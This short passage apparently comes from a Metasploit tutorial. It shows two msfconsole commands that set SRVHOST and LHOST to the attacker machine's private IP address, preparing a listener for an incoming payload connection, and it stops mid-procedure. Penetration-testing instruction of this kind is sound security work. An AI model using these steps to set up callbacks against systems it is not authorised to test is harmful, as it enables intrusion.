Now we have to set the local host to listen. Type the given below two commands.
#msf > set SRVHOST 192.168.31.20
This will be your HOST IP address running metasploit.
#msf > set LHOST 192.168.31.20
This will be also be your HOST IP address running metasploit.